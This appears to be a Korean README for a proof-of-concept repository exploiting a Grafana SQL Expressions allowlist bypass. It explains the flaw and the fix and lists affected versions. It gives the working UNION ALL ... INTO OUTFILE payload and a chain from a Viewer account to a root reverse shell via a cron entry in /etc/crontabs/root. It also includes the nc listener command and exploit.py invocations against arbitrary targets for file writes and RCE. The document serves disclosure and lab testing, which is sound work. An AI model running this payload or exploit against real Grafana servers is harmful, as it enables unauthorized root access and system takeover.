
Grafana SQL 표현식 임의 파일 쓰기를 통한 RCE
CVSS 9.1 Critical | 임의 파일 쓰기 | 원격 코드 실행
https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56
Grafana의 SQL Expressions 기능(sqlExpressions 토글)은 결함이 있는 AST 허용 목록을 사용하는 프로세스 내 SQL 엔진(dolthub/go-mysql-server)을 사용합니다. SetOp 노드(UNION ALL)는 검증을 통과하며, 해당 walkSubtree()는 Into 자식 노드를 탐색하지 않습니다. 이를 통해 INTO OUTFILE이 Grafana 프로세스 사용자 권한으로 서버 파일시스템에 임의 파일을 쓸 수 있습니다.
인증된 모든 사용자(Viewer 역할 이상)는 cron 기반 리버스 셸을 통해 이를 완전한 RCE로 연결할 수 있습니다.
| 범위 | 영향 | 수정됨 |
|---|---|---|
| 11.6.x | 11.6.0 – 11.6.13 | 11.6.14 |
| 12.0.x – 12.1.x | 12.0.0 – 12.1.9 | 12.1.10 |
| 12.2.x | 12.2.0 – 12.2.7 | 12.2.8 |
| 12.3.x | 12.3.0 – 12.3.5 | 12.3.6 |
| 12.4.x | 12.4.0 – 12.4.1 | 12.4.2 |
sqlExpressions 기능 토글이 활성화되어 있어야 합니다.
pkg/expr/sql/의 두 가지 복합적 결함:
parser_allow.go: allowedNode()는 명명된 반환 값 b = true를 사용합니다. *sqlparser.SetOp 케이스는 true(허용)를 반환하며, SetOp.walkSubtree()는 Into 자식 노드를 탐색하지 않습니다. 즉, UNION ALL ... INTO OUTFILE이 허용 목록을 완전히 우회합니다.
db.go: SQL 엔진 컨텍스트가 WithDisableFileWrites(true) 없이 생성되므로 INTO OUTFILE이 디스크에 씁니다.
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'
단일 (SELECT ...) INTO OUTFILE은 차단되는 ParenSelect 노드를 생성합니다. UNION ALL로 결합된 두 개 이상의 SELECT 부분은 검사를 우회하는 SetOp 노드를 생성합니다.
1. 인증 (Viewer 역할로 충분)
2. __expr__ 데이터소스, type "sql"로 POST /api/ds/query
3. UNION ALL INTO OUTFILE이 /tmp/에 리버스 셸 스크립트 작성
4. 두 번째 쓰기로 /etc/crontabs/root에 cron 항목 배치
5. cron이 60초 이내에 실행 -> root 권한 리버스 셸
cd lab/
docker compose up -d
# Grafana가 정상 상태가 될 때까지 대기 (~15초)
Grafana는 http://localhost:3333에서 실행되며 자격 증명은 admin:admin입니다.
터미널 1 — 리스너:
nc -lvnp 4444
터미널 2 — 익스플로잇:
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444
리버스 셸은 60초 이내에 연결됩니다.
# 대상이 취약한지 확인 (쓰기 없음)
python3 exploit.py -t http://TARGET:3000 --check
# 임의 파일 쓰기
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"
# 로컬 파일을 대상에 쓰기
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt
# 데이터소스 프로비저닝을 통한 RCE (cron 불필요)
python3 exploit.py -t http://TARGET:3000 --rce
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh
이전 실행 후 익스플로잇을 다시 실행하려면 먼저 정리하세요. INTO OUTFILE은 기존 파일을 덮어쓸 수 없습니다.
커밋 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514):
parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nilparser_allow.go: case *sqlparser.Into: return v == nildb.go: mysql.WithDisableFileWrites(true).
├── README.md
├── analysis.md # 전체 근본 원인 분석
├── lab/
│ ├── docker-compose.yml # Grafana 12.4.0 랩 (확인됨)
│ ├── Dockerfile # cron 지원 커스텀 이미지
│ ├── entrypoint.sh # crond + Grafana 시작
│ └── setup.sh # 자동 설정 스크립트
└── poc/
├── exploit.py # RCE 포함 전체 PoC
└── cvss-justification.md
공인된 보안 연구 및 통제된 랩 테스트 전용입니다. 명시적 허가 없이 시스템에 사용하지 마십시오.